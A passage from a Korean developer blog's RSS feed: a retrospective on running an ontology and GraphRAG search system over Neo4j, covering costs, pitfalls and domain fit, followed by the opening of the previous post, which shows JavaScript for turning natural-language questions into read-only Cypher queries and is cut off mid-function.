&lt;p&gt;여러분의 회사나 업계에서는 어떤 인재상을 강조하고 계신가요? AI를 다루는 방식에 대해 회사에서 들어본 가장 인상 깊은 표현이 있다면 댓글로 나눠주세요. 다음 글에서 사례로 정리해보겠습니다.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[온톨로지 기반 검색, 운영하며 배운 것 — 비용·한계·다시 한다면]]></title><description><![CDATA[안녕하세요, 자바파커입니다. "이거 다 만들고 나니까 — 정말 쓸 만한가요?" 5편짜리 구현을 마치고 며칠 운영해본 뒤의 회고입니다. 1편에서 약속한 "벡터만으로 부족했던 RAG"를 GraphRAG…]]></description><link>https://blog.javapark.kr/ontology-search-06-lessons/</link><guid isPermaLink="false">https://blog.javapark.kr/ontology-search-06-lessons/</guid><pubDate>Mon, 25 May 2026 09:00:00 GMT</pubDate><content:encoded>&lt;p&gt;안녕하세요, &lt;strong&gt;자바파커&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;이거 다 만들고 나니까 — 정말 쓸 만한가요?&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;5편짜리 구현을 마치고 며칠 운영해본 뒤의 회고입니다. &lt;a href=&quot;/ontology-search-01-why/&quot;&gt;1편&lt;/a&gt;에서 약속한 &quot;벡터만으로 부족했던 RAG&quot;를 GraphRAG로 풀어봤고, 그 결과가 어땠는지 솔직히 짚어보려 합니다.&lt;/p&gt;
&lt;p&gt;결론부터 말씀드리면 — &lt;strong&gt;관계 기반 질의 정확도는 확실히 올랐습니다.&lt;/strong&gt; 다만 &quot;모두에게 추천하느냐&quot;는 별개 문제입니다. 잘 맞는 도메인이 있고, 솔직히 오버킬인 도메인도 있어요.&lt;/p&gt;
&lt;p&gt;이번 편에서는 다섯 가지를 정리합니다. &lt;strong&gt;(1) 좋았던 것, (2) 비용 실측, (3) 한계와 함정, (4) 어떤 도메인에 추천하나, (5) 다음에 시도하고 싶은 것.&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;좋았던 것 — 답이 &quot;사실&quot;에 근접해진다&lt;/h2&gt;
&lt;p&gt;가장 인상 깊었던 변화는 &lt;strong&gt;답변에 근거가 따라붙는다는 점&lt;/strong&gt;이었습니다.&lt;/p&gt;
&lt;p&gt;벡터 RAG만 쓸 때는 &quot;이 글에 따르면 X일 것입니다&quot;라는 식의 모호한 답이 흔했습니다. 지금은 답변 끝에 &lt;code class=&quot;language-text&quot;&gt;[refs: ontology-search-02-modeling, ontology-search-04-llm-extraction]&lt;/code&gt;처럼 출처 slug가 붙고, 클릭해서 검증할 수 있습니다.&lt;/p&gt;
&lt;p&gt;특히 효과가 컸던 질의 유형:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&quot;X 시리즈의 N번째 글&quot;&lt;/strong&gt; — 메타데이터 기반 정확도 100%&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&quot;A·B 태그를 모두 가진 글&quot;&lt;/strong&gt; — 교집합 정확&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&quot;이 글이 인용한 외부 자료&quot;&lt;/strong&gt; — 본문에서 추출한 인용 그대로 반환&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&quot;이 글 이해하려면 먼저 읽어야 할 글&quot;&lt;/strong&gt; — 선수 관계 추적&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;순수 벡터로는 위 네 유형 모두 정확도가 낮았습니다. &lt;strong&gt;명시적 관계는 그래프, 의미 매칭은 벡터&lt;/strong&gt;라는 역할 분담이 깔끔하게 됐어요.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;비용 실측 — 생각보다 싸지만 모니터링은 필수&lt;/h2&gt;
&lt;p&gt;이번 시리즈 도메인(블로그 글 100개) 기준 한 달 운영 비용을 실측해봤습니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;항목&lt;/th&gt;
&lt;th&gt;빈도&lt;/th&gt;
&lt;th&gt;단가&lt;/th&gt;
&lt;th&gt;월 비용&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Neo4j Community (로컬 도커)&lt;/td&gt;
&lt;td&gt;상시&lt;/td&gt;
&lt;td&gt;$0&lt;/td&gt;
&lt;td&gt;$0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;LLM 추출 (4편, 글 변경 시)&lt;/td&gt;
&lt;td&gt;글당 1회, 평균 5건/주&lt;/td&gt;
&lt;td&gt;~$0.009&lt;/td&gt;
&lt;td&gt;~$0.18&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;임베딩 (5편 벡터)&lt;/td&gt;
&lt;td&gt;글당 1회, 평균 5건/주&lt;/td&gt;
&lt;td&gt;~$0.001&lt;/td&gt;
&lt;td&gt;~$0.02&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;질의 시 LLM 호출 (라우팅+Cypher+합성)&lt;/td&gt;
&lt;td&gt;질의당 3회&lt;/td&gt;
&lt;td&gt;~$0.005&lt;/td&gt;
&lt;td&gt;질의 1000회 시 ~$5&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;합 (질의 1000회/월 가정)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;약 $5.2&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;블로그 규모에선 거의 부담이 없습니다. 다만 &lt;strong&gt;글이 1만 개 넘어가고 질의가 일 단위로 수천 건&lt;/strong&gt;이면 그림이 달라집니다. 그때는 LLM 호출 캐싱(질문 해시 → Cypher), 라우팅 결정 캐싱, 답변 캐싱까지 다 켜야 합니다.&lt;/p&gt;
&lt;p&gt;비용 관점에서 가장 위험한 패턴은 &lt;strong&gt;모든 질의를 hybrid로 라우팅&lt;/strong&gt;하는 것입니다. LLM 호출이 2배가 되고 합성 컨텍스트도 커져서, 한 번 잘못 굳어지면 비용이 조용히 부풀어 오릅니다. 라우팅 로그를 주기적으로 본 비율로 확인하세요.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;한계와 함정 — 솔직히 어려웠던 것&lt;/h2&gt;
&lt;p&gt;다 잘 풀린 건 아닙니다. 부딪힌 한계 네 가지.&lt;/p&gt;
&lt;h3&gt;1) 온톨로지 변경 시 마이그레이션이 무겁다&lt;/h3&gt;
&lt;p&gt;운영 중 &quot;Category 아래 SubCategory를 두자&quot;는 식의 스키마 변경이 한 번이라도 생기면, 적재 스크립트·Cypher·시스템 프롬프트의 SCHEMA 세 곳을 동시에 수정해야 합니다. 한 곳이라도 빠지면 LLM이 잘못된 라벨을 생성합니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;대응:&lt;/strong&gt; SCHEMA를 단일 파일에 두고 적재·질의 양쪽에서 import해서 쓰는 패턴이 필수입니다. 처음부터 그렇게 안 짜면 나중에 갈아엎습니다(저처럼).&lt;/p&gt;
&lt;h3&gt;2) LLM 추출 결과의 일관성&lt;/h3&gt;
&lt;p&gt;같은 글을 두 번 추출하면 결과가 미세하게 다릅니다. 특히 &lt;code class=&quot;language-text&quot;&gt;RELATED_TO&lt;/code&gt;처럼 주관적 판단이 들어가는 관계가 흔들립니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;대응:&lt;/strong&gt; 4편에서 권한 대로 &lt;strong&gt;추출 결과를 frontmatter에 역으로 적어두는 패턴&lt;/strong&gt;이 가장 안정적이었습니다. 한 번 사람이 검수한 결과를 frontmatter에 굳히면, 이후엔 LLM 호출 없이 frontmatter 파싱만으로 끝납니다.&lt;/p&gt;
&lt;h3&gt;3) 다국어/표기 흔들림&lt;/h3&gt;
&lt;p&gt;&quot;Claude Code&quot;와 &quot;claude code&quot;, &quot;GraphRAG&quot;와 &quot;Graph RAG&quot;이 다른 Tag 노드로 적재되는 사고가 종종 났습니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;대응:&lt;/strong&gt; 적재 시 &lt;strong&gt;태그 정규화 함수&lt;/strong&gt;를 두세요. 케이스, 공백, 동의어 매핑까지. 그래도 완벽하진 않아서, 운영하며 주기적으로 &lt;code class=&quot;language-text&quot;&gt;MATCH (t:Tag) RETURN t.name&lt;/code&gt;으로 훑어보고 머지합니다.&lt;/p&gt;
&lt;h3&gt;4) &quot;사실인지 의견인지&quot; 구별 못 함&lt;/h3&gt;
&lt;p&gt;본문에 &quot;X는 좋다&quot;라는 의견이 있을 때 LLM이 그걸 사실처럼 추출해 그래프에 흘려보내는 경우가 있었습니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;대응:&lt;/strong&gt; 4편 시스템 프롬프트에 &quot;&lt;strong&gt;의견/주장은 추출하지 말 것&lt;/strong&gt;&quot;을 명시하고, evidence 필드의 인용문을 사람이 한 번 보는 단계가 결국 필요합니다. 자동화 100%는 위험합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;어떤 도메인에 추천하나&lt;/h2&gt;
&lt;p&gt;직접 해보고 정리한 도메인 적합도입니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;도메인&lt;/th&gt;
&lt;th&gt;적합도&lt;/th&gt;
&lt;th&gt;이유&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;블로그·문서 검색&lt;/td&gt;
&lt;td&gt;좋음&lt;/td&gt;
&lt;td&gt;명시적 관계(태그, 시리즈, 인용)가 본문에 풍부&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;e-commerce(제품·브랜드·카테고리)&lt;/td&gt;
&lt;td&gt;매우 좋음&lt;/td&gt;
&lt;td&gt;관계가 명확하고 정량적, 추천에도 활용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;학술 논문·인용망&lt;/td&gt;
&lt;td&gt;매우 좋음&lt;/td&gt;
&lt;td&gt;인용 관계가 곧 그래프, 이미 RDF 진영의 정공법&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;법령·규정&lt;/td&gt;
&lt;td&gt;좋음&lt;/td&gt;
&lt;td&gt;조항·예외·참조 관계가 그래프와 자연스럽게 매핑&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;대화 로그·소셜 텍스트&lt;/td&gt;
&lt;td&gt;보통&lt;/td&gt;
&lt;td&gt;비정형이 강해 LLM 추출 비용·잡음이 커짐&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;시계열 센서 데이터&lt;/td&gt;
&lt;td&gt;비추천&lt;/td&gt;
&lt;td&gt;관계보다 수치 집계 — 시계열 DB가 답&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;단순 FAQ&lt;/td&gt;
&lt;td&gt;비추천&lt;/td&gt;
&lt;td&gt;벡터 RAG로 충분, GraphRAG는 오버킬&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;가장 큰 분기점은 &lt;strong&gt;관계가 본질적으로 풍부한 도메인인가&lt;/strong&gt;라는 질문입니다. 그렇다면 그래프가 핵심 자산이 되고, 그렇지 않다면 벡터 RAG로도 충분합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;다시 한다면 무엇을 다르게 할까&lt;/h2&gt;
&lt;p&gt;다섯 가지가 떠오릅니다.&lt;/p&gt;
&lt;h3&gt;1) SCHEMA를 처음부터 단일 소스로&lt;/h3&gt;
&lt;p&gt;위의 1번 한계와 직결됩니다. 적재 스크립트, Cypher 생성기, 검수 스크립트가 같은 SCHEMA 객체를 import하는 구조로 짜야 합니다.&lt;/p&gt;
&lt;h3&gt;2) 글이 적을 땐 vectors는 나중에&lt;/h3&gt;
&lt;p&gt;이번엔 5편에 벡터를 같이 도입했지만, 글이 100개 미만일 땐 &lt;strong&gt;그래프만으로 시작&lt;/strong&gt;하는 게 빨랐습니다. 의미 매칭 질의가 들어오기 시작했을 때 그때 도입해도 늦지 않습니다.&lt;/p&gt;
&lt;h3&gt;3) 사람 검수 UI를 일찍 만들기&lt;/h3&gt;
&lt;p&gt;LLM 추출 결과를 콘솔 로그로만 보면 검수 부담이 큽니다. 간단한 웹 페이지로 &quot;추출 결과 OK/Drop/Edit&quot;만 누를 수 있게 해두면, 운영이 훨씬 가볍습니다.&lt;/p&gt;
&lt;h3&gt;4) 회귀 테스트셋 일찍 만들기&lt;/h3&gt;
&lt;p&gt;핵심 질의 20개를 골라 &lt;strong&gt;사람이 직접 답한 정답 목록&lt;/strong&gt;을 만들어두세요. 프롬프트나 모델을 바꿀 때마다 이 테스트셋을 돌려 점수를 매기면 회귀를 즉시 잡습니다. 처음엔 귀찮지만, 운영 두 달 차부터 가장 큰 자산이 됩니다.&lt;/p&gt;
&lt;h3&gt;5) &quot;안 풀리는 질의&quot; 로그를 따로 모으기&lt;/h3&gt;
&lt;p&gt;LLM이 답을 못 만들었거나 빈 결과가 나온 질의를 별도 로그로 모아두면, 다음 라운드 온톨로지 확장의 가장 정확한 입력이 됩니다. &lt;strong&gt;사용자가 원하는 게 곧 그래프의 다음 모습&lt;/strong&gt;이에요.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;시리즈 마무리&lt;/h2&gt;
&lt;p&gt;6편에 걸쳐 다음을 거쳐왔습니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;/ontology-search-01-why/&quot;&gt;1편 — 왜 온톨로지인가&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/ontology-search-02-modeling/&quot;&gt;2편 — 클래스·속성·관계 설계&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/ontology-search-03-build/&quot;&gt;3편 — Neo4j 선정과 frontmatter 적재&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/ontology-search-04-llm-extraction/&quot;&gt;4편 — LLM Tool Use로 본문 자동 추출&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/ontology-search-05-graphrag/&quot;&gt;5편 — GraphRAG 자연어 검색&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;6편 — 운영 회고 (지금 이 글)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/ontology-search-07-structured-and-bigdata/&quot;&gt;확장편 — 정형 DB·빅데이터와 함께 가기&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;시리즈를 시작할 때 가졌던 가설은 단순했습니다. &quot;&lt;strong&gt;LLM 시대에 오래된 도구인 온톨로지가 다시 의미를 가질 것이다.&lt;/strong&gt;&quot; 직접 만들어보니 그 가설은 맞기도 하고 조건부이기도 했어요. 관계가 풍부한 도메인이고 답변의 근거가 중요한 서비스라면 GraphRAG는 분명한 답입니다. 그게 아니면 벡터 RAG로 충분합니다.&lt;/p&gt;
&lt;p&gt;도구는 도구입니다. &lt;strong&gt;무엇을 풀고 싶은지가 항상 먼저&lt;/strong&gt;고요.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;자주 묻는 질문 (FAQ)&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Q1. 1인이 운영하기엔 결국 어렵지 않나요?&lt;/strong&gt;
이 시리즈 분량으로도 보셨겠지만, &lt;strong&gt;만드는 건 며칠&lt;/strong&gt;이고 &lt;strong&gt;운영은 평생&lt;/strong&gt;입니다. 도메인 자체가 명확하고 본인이 그 도메인을 잘 아는 상태라면 1인 운영도 충분히 가능합니다. 도메인이 너무 넓거나 자주 바뀌는 영역이라면 팀이 필요합니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q2. Microsoft GraphRAG로 처음부터 시작했으면 더 빠르지 않았을까요?&lt;/strong&gt;
빠르지만 비싸요. Microsoft GraphRAG는 LLM이 자동으로 그래프를 만들어내는 방식이라 초기 토큰 비용이 큽니다. 이 시리즈처럼 &lt;strong&gt;사람이 온톨로지를 먼저 설계&lt;/strong&gt;하고 LLM을 추출 일부분에만 쓰는 방식이 비용도 적고 그래프 품질도 통제하기 쉽습니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q3. 시리즈 코드 전체를 공개하실 건가요?&lt;/strong&gt;
정리되는 대로 GitHub에 올리고 본 블로그에 링크 추가하겠습니다. 댓글로 알림 원하시면 댓글 남겨주시면 공개 시점에 따로 연락드리겠습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;긴 시리즈를 끝까지 따라와 주셔서 감사합니다. 여러분이 이 도구를 직접 손에 잡으시고, 본인의 도메인에서 의미를 발견하시면 이 시리즈가 제 역할을 다한 거예요.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;시리즈 발행 후 &quot;이미 RDB·DW·검색엔진이 있는 조직 관점이 빠졌다&quot;는 피드백을 받아 &lt;a href=&quot;/ontology-search-07-structured-and-bigdata/&quot;&gt;확장편&lt;/a&gt;을 한 편 더 붙였습니다. 도입 의사결정에 도움이 될 거예요.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;다음 시리즈는 &lt;strong&gt;운영 자동화&lt;/strong&gt; 쪽으로 가볼까 생각 중입니다. 의견 있으시면 댓글로 알려주세요.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[GraphRAG로 자연어 질의 풀기 — 자연어→Cypher→답변 합성]]></title><description><![CDATA[안녕하세요, 자바파커입니다. "그래프는 만들었는데, 사용자가 Cypher를 모르잖아요." 지난 3편 적재와 4편 LLM 추출까지 거치며 지식 그래프가 거의 완성됐습니다. 이제 사용자 입장으로 돌아옵니다. "Claude Code…]]></description><link>https://blog.javapark.kr/ontology-search-05-graphrag/</link><guid isPermaLink="false">https://blog.javapark.kr/ontology-search-05-graphrag/</guid><pubDate>Sun, 24 May 2026 09:00:00 GMT</pubDate><content:encoded>&lt;p&gt;안녕하세요, &lt;strong&gt;자바파커&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;그래프는 만들었는데, 사용자가 Cypher를 모르잖아요.&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;지난 &lt;a href=&quot;/ontology-search-03-build/&quot;&gt;3편 적재&lt;/a&gt;와 &lt;a href=&quot;/ontology-search-04-llm-extraction/&quot;&gt;4편 LLM 추출&lt;/a&gt;까지 거치며 지식 그래프가 거의 완성됐습니다. 이제 사용자 입장으로 돌아옵니다. &quot;&lt;strong&gt;Claude Code 시리즈에서 첫 번째 글이 뭐야?&lt;/strong&gt;&quot;라고 자연어로 물었을 때, 그래프를 타고 답이 나와야 합니다.&lt;/p&gt;
&lt;p&gt;결론부터 말씀드리면 — &lt;strong&gt;자연어 → Cypher → 답변 합성&lt;/strong&gt; 세 단계 파이프라인을 만듭니다. 벡터 검색만으로 부족하고 그래프만으로도 부족한 지점을 &lt;strong&gt;하이브리드&lt;/strong&gt;로 메우면, 1편에서 약속한 &quot;GraphRAG&quot;가 비로소 완성됩니다.&lt;/p&gt;
&lt;p&gt;이번 편에서는 &lt;strong&gt;(1) 왜 하이브리드인가 → (2) 자연어→Cypher LLM 변환 → (3) 벡터+그래프 합치기 → (4) 답변 합성 → (5) 2편의 질의 7개 자연어로 다시 풀기.&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;왜 하이브리드인가? — 둘 다 부족하기 때문&lt;/h2&gt;
&lt;p&gt;순수 벡터 검색과 순수 그래프 질의의 한계는 명확합니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;접근&lt;/th&gt;
&lt;th&gt;잘하는 것&lt;/th&gt;
&lt;th&gt;못하는 것&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;벡터 검색만&lt;/td&gt;
&lt;td&gt;&quot;비슷한 의미의 글&quot; 찾기&lt;/td&gt;
&lt;td&gt;&quot;X가 인용한 자료&quot; 같은 관계 추적&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;그래프 질의만&lt;/td&gt;
&lt;td&gt;정확한 관계 추적·집계&lt;/td&gt;
&lt;td&gt;&quot;이 주제 관련된 글&quot; 같은 의미 매칭&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;하이브리드&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;둘 다&lt;/td&gt;
&lt;td&gt;비용·복잡도 ↑&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;GraphRAG의 핵심은 &lt;strong&gt;질의의 성격에 따라 적절한 채널을 고른다&lt;/strong&gt;는 점입니다. 모든 질의를 그래프에만 보내거나 벡터에만 보내는 게 아니라요.&lt;/p&gt;
&lt;p&gt;라우팅 기준은 단순합니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;명확한 엔티티/관계&lt;/strong&gt;가 있는 질의 → 그래프 우선 (예: &quot;Claude Code 시리즈 1편&quot;)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;의미 기반 탐색&lt;/strong&gt;이 필요한 질의 → 벡터 우선 (예: &quot;RAG 정확도 올리는 방법&quot;)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;둘 다&lt;/strong&gt; → 양쪽 결과 합쳐 LLM이 답변 합성 (예: &quot;GraphRAG 관련 글 중 신뢰할 만한 외부 자료&quot;)&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;단계 1: 자연어 → Cypher LLM 변환&lt;/h2&gt;
&lt;p&gt;자연어 질의를 받아 Cypher로 바꾸는 게 그래프 측의 첫 번째 일입니다. 4편의 Tool Use 패턴을 그대로 활용합니다.&lt;/p&gt;
&lt;p&gt;LLM이 안전하게 Cypher를 쓰려면 &lt;strong&gt;스키마를 시스템 프롬프트에 박아두는 게 핵심&lt;/strong&gt;입니다. 안 그러면 존재하지 않는 라벨·관계를 지어냅니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;js&quot;&gt;&lt;pre class=&quot;language-js&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;SCHEMA&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token template-string&quot;&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;
Labels:
- Post(slug, title, description, publishedAt, updatedAt)
- Tag(name)
- Series(name)
- Category(slug)
- Author(name, url)
- ExternalResource(url, title)

Relationships:
- (Post)-[:WRITTEN_BY]-&gt;(Author)
- (Post)-[:HAS_TAG]-&gt;(Tag)
- (Post)-[:IN_CATEGORY]-&gt;(Category)
- (Post)-[:BELONGS_TO_SERIES]-&gt;(Series)
- (Post)-[:CITES]-&gt;(ExternalResource)
- (Post)-[:RELATED_TO]-&gt;(Post)
- (Post)-[:PREREQUISITE_OF]-&gt;(Post)  // prereq -&gt; 후속
&lt;/span&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; cypherTool &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token literal-property property&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;run_cypher&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token literal-property property&quot;&gt;description&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Neo4j에서 Cypher를 실행한다. 읽기 전용 쿼리만 허용.&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token literal-property property&quot;&gt;input_schema&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token literal-property property&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;object&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token literal-property property&quot;&gt;properties&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;token literal-property property&quot;&gt;cypher&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;string&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;description&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;MATCH/WHERE/RETURN만 사용&quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;token literal-property property&quot;&gt;params&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;object&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;description&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;$파라미터 바인딩 값&quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;token literal-property property&quot;&gt;explanation&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token literal-property property&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;string&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;token literal-property property&quot;&gt;description&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;이 쿼리가 질의를 어떻게 푸는지 한 줄&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token literal-property property&quot;&gt;required&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;cypher&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;explanation&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;async&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;naturalToCypher&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;question&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
